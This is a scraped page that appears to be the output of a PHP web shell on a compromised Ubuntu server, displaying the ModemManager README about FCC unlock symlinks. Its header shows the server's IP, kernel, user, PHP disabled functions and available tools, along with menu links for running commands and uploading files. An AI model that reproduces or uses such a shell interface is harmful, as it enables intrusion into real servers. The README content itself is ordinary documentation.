|
Server IP : 128.199.20.84 / Your IP : 172.69.6.45 Web Server : Apache/2.4.41 (Ubuntu) System : Linux competent-maruti 5.4.0-128-generic #144-Ubuntu SMP Tue Sep 20 11:00:04 UTC 2022 x86_64 User : www-data ( 33) PHP Version : 8.0.20 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /usr/share/doc/modemmanager/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
ModemManager ============ Important notice ---------------- If you are using a mobile device with integrated WWAN module, a manual configuration step is needed after installing or upgrading modemmanager, otherwise the module might NOT be useable anymore. Unfortunately, the logged error message will be slightly misleading. So, if you see a message like <warn> [modem0] couldn't enable interface: 'Invalid transition' in your system logs or ModemManager keeps enabling and disabling the module every second, you are probably affected by this change: Starting with release 1.18.4, ModemManager does no longer enable the automatic FCC unlock for certain types of modems by default. THIS MAY BREAK EXISTING SETUPS You can restore the old behaviour AT YOUR OWN RISK by creating symlinks in /etc/ModemManager/fcc-unlock.d: sudo ln -sft /etc/ModemManager/fcc-unlock.d /usr/share/ModemManager/fcc-unlock.available.d/* See https://modemmanager.org/docs/modemmanager/fcc-unlock/ for details.